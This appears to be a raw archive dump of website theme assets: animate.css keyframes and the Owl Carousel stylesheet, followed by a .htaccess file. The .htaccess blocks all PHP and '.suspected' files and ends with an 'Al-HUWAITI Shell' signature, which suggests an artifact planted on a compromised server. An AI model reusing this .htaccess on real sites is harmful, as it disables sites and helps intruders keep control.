    -ms-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(0);
    -ms-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }

  100% {
    -webkit-transform-origin: right bottom;
    -ms-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(-90deg);
    -ms-transform: rotate(-90deg);
    transform: rotate(-90deg);
    opacity: 0;
  }
}

.rotateOutDownRight {
  -webkit-animation-name: rotateOutDownRight;
  animation-name: rotateOutDownRight;
}

@-webkit-keyframes rotateOutUpLeft {
  0% {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }

  100% {
    -webkit-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(-90deg);
    transform: rotate(-90deg);
    opacity: 0;
  }
}

@keyframes rotateOutUpLeft {
  0% {
    -webkit-transform-origin: left bottom;
    -ms-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(0);
    -ms-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }

  100% {
    -webkit-transform-origin: left bottom;
    -ms-transform-origin: left bottom;
    transform-origin: left bottom;
    -webkit-transform: rotate(-90deg);
    -ms-transform: rotate(-90deg);
    transform: rotate(-90deg);
    opacity: 0;
  }
}

.rotateOutUpLeft {
  -webkit-animation-name: rotateOutUpLeft;
  animation-name: rotateOutUpLeft;
}

@-webkit-keyframes rotateOutUpRight {
  0% {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }

  100% {
    -webkit-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(90deg);
    transform: rotate(90deg);
    opacity: 0;
  }
}

@keyframes rotateOutUpRight {
  0% {
    -webkit-transform-origin: right bottom;
    -ms-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(0);
    -ms-transform: rotate(0);
    transform: rotate(0);
    opacity: 1;
  }

  100% {
    -webkit-transform-origin: right bottom;
    -ms-transform-origin: right bottom;
    transform-origin: right bottom;
    -webkit-transform: rotate(90deg);
    -ms-transform: rotate(90deg);
    transform: rotate(90deg);
    opacity: 0;
  }
}

.rotateOutUpRight {
  -webkit-animation-name: rotateOutUpRight;
  animation-name: rotateOutUpRight;
}

@-webkit-keyframes slideInDown {
  0% {
    opacity: 0;
    -webkit-transform: translateY(-2000px);
    transform: translateY(-2000px);
  }

  100% {
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }
}

@keyframes slideInDown {
  0% {
    opacity: 0;
    -webkit-transform: translateY(-2000px);
    -ms-transform: translateY(-2000px);
    transform: translateY(-2000px);
  }

  100% {
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }
}

.slideInDown {
  -webkit-animation-name: slideInDown;
  animation-name: slideInDown;
}

@-webkit-keyframes slideInLeft {
  0% {
    opacity: 0;
    -webkit-transform: translateX(-2000px);
    transform: translateX(-2000px);
  }

  100% {
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }
}

@keyframes slideInLeft {
  0% {
    opacity: 0;
    -webkit-transform: translateX(-2000px);
    -ms-transform: translateX(-2000px);
    transform: translateX(-2000px);
  }

  100% {
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }
}

.slideInLeft {
  -webkit-animation-name: slideInLeft;
  animation-name: slideInLeft;
}

@-webkit-keyframes slideInRight {
  0% {
    opacity: 0;
    -webkit-transform: translateX(2000px);
    transform: translateX(2000px);
  }

  100% {
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }
}

@keyframes slideInRight {
  0% {
    opacity: 0;
    -webkit-transform: translateX(2000px);
    -ms-transform: translateX(2000px);
    transform: translateX(2000px);
  }

  100% {
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }
}

.slideInRight {
  -webkit-animation-name: slideInRight;
  animation-name: slideInRight;
}

@-webkit-keyframes slideOutLeft {
  0% {
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(-2000px);
    transform: translateX(-2000px);
  }
}

@keyframes slideOutLeft {
  0% {
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(-2000px);
    -ms-transform: translateX(-2000px);
    transform: translateX(-2000px);
  }
}

.slideOutLeft {
  -webkit-animation-name: slideOutLeft;
  animation-name: slideOutLeft;
}

@-webkit-keyframes slideOutRight {
  0% {
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(2000px);
    transform: translateX(2000px);
  }
}

@keyframes slideOutRight {
  0% {
    -webkit-transform: translateX(0);
    -ms-transform: translateX(0);
    transform: translateX(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(2000px);
    -ms-transform: translateX(2000px);
    transform: translateX(2000px);
  }
}

.slideOutRight {
  -webkit-animation-name: slideOutRight;
  animation-name: slideOutRight;
}

@-webkit-keyframes slideOutUp {
  0% {
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(-2000px);
    transform: translateY(-2000px);
  }
}

@keyframes slideOutUp {
  0% {
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(-2000px);
    -ms-transform: translateY(-2000px);
    transform: translateY(-2000px);
  }
}

.slideOutUp {
  -webkit-animation-name: slideOutUp;
  animation-name: slideOutUp;
}

@-webkit-keyframes slideInUp {
  0% {
    opacity: 0;
    -webkit-transform: translateY(2000px);
    transform: translateY(2000px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }
}

@keyframes slideInUp {
  0% {
    opacity: 0;
    -webkit-transform: translateY(2000px);
    -ms-transform: translateY(2000px);
    transform: translateY(2000px);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }
}

.slideInUp {
  -webkit-animation-name: slideInUp;
  animation-name: slideInUp;
}

@-webkit-keyframes slideOutDown {
  0% {
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(2000px);
    transform: translateY(2000px);
  }
}

@keyframes slideOutDown {
  0% {
    -webkit-transform: translateY(0);
    -ms-transform: translateY(0);
    transform: translateY(0);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateY(2000px);
    -ms-transform: translateY(2000px);
    transform: translateY(2000px);
  }
}

.slideOutDown {
  -webkit-animation-name: slideOutDown;
  animation-name: slideOutDown;
}

@-webkit-keyframes hinge {
  0% {
    -webkit-transform: rotate(0);
    transform: rotate(0);
    -webkit-transform-origin: top left;
    transform-origin: top left;
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  20%, 60% {
    -webkit-transform: rotate(80deg);
    transform: rotate(80deg);
    -webkit-transform-origin: top left;
    transform-origin: top left;
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  40% {
    -webkit-transform: rotate(60deg);
    transform: rotate(60deg);
    -webkit-transform-origin: top left;
    transform-origin: top left;
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  80% {
    -webkit-transform: rotate(60deg) translateY(0);
    transform: rotate(60deg) translateY(0);
    -webkit-transform-origin: top left;
    transform-origin: top left;
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
    opacity: 1;
  }

  100% {
    -webkit-transform: translateY(700px);
    transform: translateY(700px);
    opacity: 0;
  }
}

@keyframes hinge {
  0% {
    -webkit-transform: rotate(0);
    -ms-transform: rotate(0);
    transform: rotate(0);
    -webkit-transform-origin: top left;
    -ms-transform-origin: top left;
    transform-origin: top left;
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  20%, 60% {
    -webkit-transform: rotate(80deg);
    -ms-transform: rotate(80deg);
    transform: rotate(80deg);
    -webkit-transform-origin: top left;
    -ms-transform-origin: top left;
    transform-origin: top left;
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  40% {
    -webkit-transform: rotate(60deg);
    -ms-transform: rotate(60deg);
    transform: rotate(60deg);
    -webkit-transform-origin: top left;
    -ms-transform-origin: top left;
    transform-origin: top left;
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  80% {
    -webkit-transform: rotate(60deg) translateY(0);
    -ms-transform: rotate(60deg) translateY(0);
    transform: rotate(60deg) translateY(0);
    -webkit-transform-origin: top left;
    -ms-transform-origin: top left;
    transform-origin: top left;
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
    opacity: 1;
  }

  100% {
    -webkit-transform: translateY(700px);
    -ms-transform: translateY(700px);
    transform: translateY(700px);
    opacity: 0;
  }
}

.hinge {
  -webkit-animation-name: hinge;
  animation-name: hinge;
}

/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */

@-webkit-keyframes rollIn {
  0% {
    opacity: 0;
    -webkit-transform: translateX(-100%) rotate(-120deg);
    transform: translateX(-100%) rotate(-120deg);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateX(0px) rotate(0deg);
    transform: translateX(0px) rotate(0deg);
  }
}

@keyframes rollIn {
  0% {
    opacity: 0;
    -webkit-transform: translateX(-100%) rotate(-120deg);
    -ms-transform: translateX(-100%) rotate(-120deg);
    transform: translateX(-100%) rotate(-120deg);
  }

  100% {
    opacity: 1;
    -webkit-transform: translateX(0px) rotate(0deg);
    -ms-transform: translateX(0px) rotate(0deg);
    transform: translateX(0px) rotate(0deg);
  }
}

.rollIn {
  -webkit-animation-name: rollIn;
  animation-name: rollIn;
}

/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */

@-webkit-keyframes rollOut {
  0% {
    opacity: 1;
    -webkit-transform: translateX(0px) rotate(0deg);
    transform: translateX(0px) rotate(0deg);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(100%) rotate(120deg);
    transform: translateX(100%) rotate(120deg);
  }
}

@keyframes rollOut {
  0% {
    opacity: 1;
    -webkit-transform: translateX(0px) rotate(0deg);
    -ms-transform: translateX(0px) rotate(0deg);
    transform: translateX(0px) rotate(0deg);
  }

  100% {
    opacity: 0;
    -webkit-transform: translateX(100%) rotate(120deg);
    -ms-transform: translateX(100%) rotate(120deg);
    transform: translateX(100%) rotate(120deg);
  }
}

.rollOut {
  -webkit-animation-name: rollOut;
  animation-name: rollOut;
}

@-webkit-keyframes zoomIn {
  0% {
    opacity: 0;
    -webkit-transform: scale(.3);
    transform: scale(.3);
  }

  50% {
    opacity: 1;
  }
}

@keyframes zoomIn {
  0% {
    opacity: 0;
    -webkit-transform: scale(.3);
    -ms-transform: scale(.3);
    transform: scale(.3);
  }

  50% {
    opacity: 1;
  }
}

.zoomIn {
  -webkit-animation-name: zoomIn;
  animation-name: zoomIn;
}

@-webkit-keyframes zoomInDown {
  0% {
    opacity: 0;
    -webkit-transform: scale(.1) translateY(-2000px);
    transform: scale(.1) translateY(-2000px);
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  60% {
    opacity: 1;
    -webkit-transform: scale(.475) translateY(60px);
    transform: scale(.475) translateY(60px);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }
}

@keyframes zoomInDown {
  0% {
    opacity: 0;
    -webkit-transform: scale(.1) translateY(-2000px);
    -ms-transform: scale(.1) translateY(-2000px);
    transform: scale(.1) translateY(-2000px);
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  60% {
    opacity: 1;
    -webkit-transform: scale(.475) translateY(60px);
    -ms-transform: scale(.475) translateY(60px);
    transform: scale(.475) translateY(60px);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }
}

.zoomInDown {
  -webkit-animation-name: zoomInDown;
  animation-name: zoomInDown;
}

@-webkit-keyframes zoomInLeft {
  0% {
    opacity: 0;
    -webkit-transform: scale(.1) translateX(-2000px);
    transform: scale(.1) translateX(-2000px);
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  60% {
    opacity: 1;
    -webkit-transform: scale(.475) translateX(48px);
    transform: scale(.475) translateX(48px);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }
}

@keyframes zoomInLeft {
  0% {
    opacity: 0;
    -webkit-transform: scale(.1) translateX(-2000px);
    -ms-transform: scale(.1) translateX(-2000px);
    transform: scale(.1) translateX(-2000px);
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  60% {
    opacity: 1;
    -webkit-transform: scale(.475) translateX(48px);
    -ms-transform: scale(.475) translateX(48px);
    transform: scale(.475) translateX(48px);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }
}

.zoomInLeft {
  -webkit-animation-name: zoomInLeft;
  animation-name: zoomInLeft;
}

@-webkit-keyframes zoomInRight {
  0% {
    opacity: 0;
    -webkit-transform: scale(.1) translateX(2000px);
    transform: scale(.1) translateX(2000px);
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  60% {
    opacity: 1;
    -webkit-transform: scale(.475) translateX(-48px);
    transform: scale(.475) translateX(-48px);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }
}

@keyframes zoomInRight {
  0% {
    opacity: 0;
    -webkit-transform: scale(.1) translateX(2000px);
    -ms-transform: scale(.1) translateX(2000px);
    transform: scale(.1) translateX(2000px);
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  60% {
    opacity: 1;
    -webkit-transform: scale(.475) translateX(-48px);
    -ms-transform: scale(.475) translateX(-48px);
    transform: scale(.475) translateX(-48px);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }
}

.zoomInRight {
  -webkit-animation-name: zoomInRight;
  animation-name: zoomInRight;
}

@-webkit-keyframes zoomInUp {
  0% {
    opacity: 0;
    -webkit-transform: scale(.1) translateY(2000px);
    transform: scale(.1) translateY(2000px);
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  60% {
    opacity: 1;
    -webkit-transform: scale(.475) translateY(-60px);
    transform: scale(.475) translateY(-60px);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }
}

@keyframes zoomInUp {
  0% {
    opacity: 0;
    -webkit-transform: scale(.1) translateY(2000px);
    -ms-transform: scale(.1) translateY(2000px);
    transform: scale(.1) translateY(2000px);
    -webkit-animation-timing-function: ease-in-out;
    animation-timing-function: ease-in-out;
  }

  60% {
    opacity: 1;
    -webkit-transform: scale(.475) translateY(-60px);
    -ms-transform: scale(.475) translateY(-60px);
    transform: scale(.475) translateY(-60px);
    -webkit-animation-timing-function: ease-out;
    animation-timing-function: ease-out;
  }
}

.zoomInUp {
  -webkit-animation-name: zoomInUp;
  animation-name: zoomInUp;
}

@-webkit-keyframes zoomOut {
  0% {
    opacity: 1;
    -webkit-transform: scale(1);
    transform: scale(1);
  }

  50% {
    opacity: 0;
    -webkit-transform: scale(.3);
    transform: scale(.3);
  }

  100% {
    opacity: 0;
  }
}

@keyframes zoomOut {
  0% {
    opacity: 1;
    -webkit-transform: scale(1);
    -ms-transform: scale(1);
    transform: scale(1);
  }

  50% {
    opacity: 0;
    -webkit-transform: scale(.3);
    -ms-transform: scale(.3);
    transform: scale(.3);
  }

  100% {
    opacity: 0;
  }
}

.zoomOut {
  -webkit-animation-name: zoomOut;
  animation-name: zoomOut;
}

@-webkit-keyframes zoomOutDown {
  40% {
    opacity: 1;
    -webkit-transform: scale(.475) translateY(-60px);
    transform: scale(.475) translateY(-60px);
    -webkit-animation-timing-function: linear;
    animation-timing-function: linear;
  }

  100% {
    opacity: 0;
    -webkit-transform: scale(.1) translateY(2000px);
    transform: scale(.1) translateY(2000px);
    -webkit-transform-origin: center bottom;
    transform-origin: center bottom;
  }
}

@keyframes zoomOutDown {
  40% {
    opacity: 1;
    -webkit-transform: scale(.475) translateY(-60px);
    -ms-transform: scale(.475) translateY(-60px);
    transform: scale(.475) translateY(-60px);
    -webkit-animation-timing-function: linear;
    animation-timing-function: linear;
  }

  100% {
    opacity: 0;
    -webkit-transform: scale(.1) translateY(2000px);
    -ms-transform: scale(.1) translateY(2000px);
    transform: scale(.1) translateY(2000px);
    -webkit-transform-origin: center bottom;
    -ms-transform-origin: center bottom;
    transform-origin: center bottom;
  }
}

.zoomOutDown {
  -webkit-animation-name: zoomOutDown;
  animation-name: zoomOutDown;
}

@-webkit-keyframes zoomOutLeft {
  40% {
    opacity: 1;
    -webkit-transform: scale(.475) translateX(42px);
    transform: scale(.475) translateX(42px);
    -webkit-animation-timing-function: linear;
    animation-timing-function: linear;
  }

  100% {
    opacity: 0;
    -webkit-transform: scale(.1) translateX(-2000px);
    transform: scale(.1) translateX(-2000px);
    -webkit-transform-origin: left center;
    transform-origin: left center;
  }
}

@keyframes zoomOutLeft {
  40% {
    opacity: 1;
    -webkit-transform: scale(.475) translateX(42px);
    -ms-transform: scale(.475) translateX(42px);
    transform: scale(.475) translateX(42px);
    -webkit-animation-timing-function: linear;
    animation-timing-function: linear;
  }

  100% {
    opacity: 0;
    -webkit-transform: scale(.1) translateX(-2000px);
    -ms-transform: scale(.1) translateX(-2000px);
    transform: scale(.1) translateX(-2000px);
    -webkit-transform-origin: left center;
    -ms-transform-origin: left center;
    transform-origin: left center;
  }
}

.zoomOutLeft {
  -webkit-animation-name: zoomOutLeft;
  animation-name: zoomOutLeft;
}

@-webkit-keyframes zoomOutRight {
  40% {
    opacity: 1;
    -webkit-transform: scale(.475) translateX(-42px);
    transform: scale(.475) translateX(-42px);
    -webkit-animation-timing-function: linear;
    animation-timing-function: linear;
  }

  100% {
    opacity: 0;
    -webkit-transform: scale(.1) translateX(2000px);
    transform: scale(.1) translateX(2000px);
    -webkit-transform-origin: right center;
    transform-origin: right center;
  }
}

@keyframes zoomOutRight {
  40% {
    opacity: 1;
    -webkit-transform: scale(.475) translateX(-42px);
    -ms-transform: scale(.475) translateX(-42px);
    transform: scale(.475) translateX(-42px);
    -webkit-animation-timing-function: linear;
    animation-timing-function: linear;
  }

  100% {
    opacity: 0;
    -webkit-transform: scale(.1) translateX(2000px);
    -ms-transform: scale(.1) translateX(2000px);
    transform: scale(.1) translateX(2000px);
    -webkit-transform-origin: right center;
    -ms-transform-origin: right center;
    transform-origin: right center;
  }
}

.zoomOutRight {
  -webkit-animation-name: zoomOutRight;
  animation-name: zoomOutRight;
}

@-webkit-keyframes zoomOutUp {
  40% {
    opacity: 1;
    -webkit-transform: scale(.475) translateY(60px);
    transform: scale(.475) translateY(60px);
    -webkit-animation-timing-function: linear;
    animation-timing-function: linear;
  }

  100% {
    opacity: 0;
    -webkit-transform: scale(.1) translateY(-2000px);
    transform: scale(.1) translateY(-2000px);
    -webkit-transform-origin: center top;
    transform-origin: center top;
  }
}

@keyframes zoomOutUp {
  40% {
    opacity: 1;
    -webkit-transform: scale(.475) translateY(60px);
    -ms-transform: scale(.475) translateY(60px);
    transform: scale(.475) translateY(60px);
    -webkit-animation-timing-function: linear;
    animation-timing-function: linear;
  }

  100% {
    opacity: 0;
    -webkit-transform: scale(.1) translateY(-2000px);
    -ms-transform: scale(.1) translateY(-2000px);
    transform: scale(.1) translateY(-2000px);
    -webkit-transform-origin: center top;
    -ms-transform-origin: center top;
    transform-origin: center top;
  }
}

.zoomOutUp {
  -webkit-animation-name: zoomOutUp;
  animation-name: zoomOutUp;
}owl.carousel.css000060400000010146152435223340007674 0ustar00/**
 * Owl Carousel v2.2.1
 * Copyright 2013-2017 David Deutsch
 * Licensed under  ()
 */
/*
 *  Owl Carousel - Core
 */
.owl-carousel {
  display: none;
  width: 100%;
  -webkit-tap-highlight-color: transparent;
  /* position relative and z-index fix webkit rendering fonts issue */
  position: relative;
  z-index: 1; }
  .owl-carousel .owl-stage {
    position: relative;
    -ms-touch-action: pan-Y;
    -moz-backface-visibility: hidden;
    /* fix firefox animation glitch */ }
  .owl-carousel .owl-stage:after {
    content: ".";
    display: block;
    clear: both;
    visibility: hidden;
    line-height: 0;
    height: 0; }
  .owl-carousel .owl-stage-outer {
    position: relative;
    overflow: hidden;
    /* fix for flashing background */
    -webkit-transform: translate3d(0px, 0px, 0px); }
  .owl-carousel .owl-wrapper,
  .owl-carousel .owl-item {
    -webkit-backface-visibility: hidden;
    -moz-backface-visibility: hidden;
    -ms-backface-visibility: hidden;
    -webkit-transform: translate3d(0, 0, 0);
    -moz-transform: translate3d(0, 0, 0);
    -ms-transform: translate3d(0, 0, 0); }
  .owl-carousel .owl-item {
    position: relative;
    min-height: 1px;
    float: left;
    -webkit-backface-visibility: hidden;
    -webkit-tap-highlight-color: transparent;
    -webkit-touch-callout: none; }
  .owl-carousel .owl-item img {
    display: block;
    width: 100%; }
  .owl-carousel .owl-nav.disabled,
  .owl-carousel .owl-dots.disabled {
    display: none; }
  .owl-carousel .owl-nav .owl-prev,
  .owl-carousel .owl-nav .owl-next,
  .owl-carousel .owl-dot {
    cursor: pointer;
    cursor: hand;
    -webkit-user-select: none;
    -khtml-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none; }
  .owl-carousel.owl-loaded {
    display: block; }
  .owl-carousel.owl-loading {
    opacity: 0;
    display: block; }
  .owl-carousel.owl-hidden {
    opacity: 0; }
  .owl-carousel.owl-refresh .owl-item {
    visibility: hidden; }
  .owl-carousel.owl-drag .owl-item {
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none; }
  .owl-carousel.owl-grab {
    cursor: move;
    cursor: grab; }
  .owl-carousel.owl-rtl {
    direction: rtl; }
  .owl-carousel.owl-rtl .owl-item {
    float: right; }

/* No Js */
.no-js .owl-carousel {
  display: block; }

/*
 *  Owl Carousel - Animate Plugin
 */
.owl-carousel .animated {
  animation-duration: 1000ms;
  animation-fill-mode: both; }

.owl-carousel .owl-animated-in {
  z-index: 0; }

.owl-carousel .owl-animated-out {
  z-index: 1; }

.owl-carousel .fadeOut {
  animation-name: fadeOut; }

@keyframes fadeOut {
  0% {
    opacity: 1; }
  100% {
    opacity: 0; } }

/*
 * 	Owl Carousel - Auto Height Plugin
 */
.owl-height {
  transition: height 500ms ease-in-out; }

/*
 * 	Owl Carousel - Lazy Load Plugin
 */
.owl-carousel .owl-item .owl-lazy {
  opacity: 0;
  transition: opacity 400ms ease; }

.owl-carousel .owl-item img.owl-lazy {
  transform-style: preserve-3d; }

/*
 * 	Owl Carousel - Video Plugin
 */
.owl-carousel .owl-video-wrapper {
  position: relative;
  height: 100%;
  background: #000; }

.owl-carousel .owl-video-play-icon {
  position: absolute;
  height: 80px;
  width: 80px;
  left: 50%;
  top: 50%;
  margin-left: -40px;
  margin-top: -40px;
  background: url("owl.video.play.png") no-repeat;
  cursor: pointer;
  z-index: 1;
  -webkit-backface-visibility: hidden;
  transition: transform 100ms ease; }

.owl-carousel .owl-video-play-icon:hover {
  -ms-transform: scale(1.3, 1.3);
      transform: scale(1.3, 1.3); }

.owl-carousel .owl-video-playing .owl-video-tn,
.owl-carousel .owl-video-playing .owl-video-play-icon {
  display: none; }

.owl-carousel .owl-video-tn {
  opacity: 0;
  height: 100%;
  background-position: center center;
  background-repeat: no-repeat;
  background-size: contain;
  transition: opacity 400ms ease; }

.owl-carousel .owl-video-frame {
  position: relative;
  z-index: 1;
  height: 100%;
  width: 100%; }
.htaccess000044400000000424152435223340006343 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>

Al-HUWAITI Shell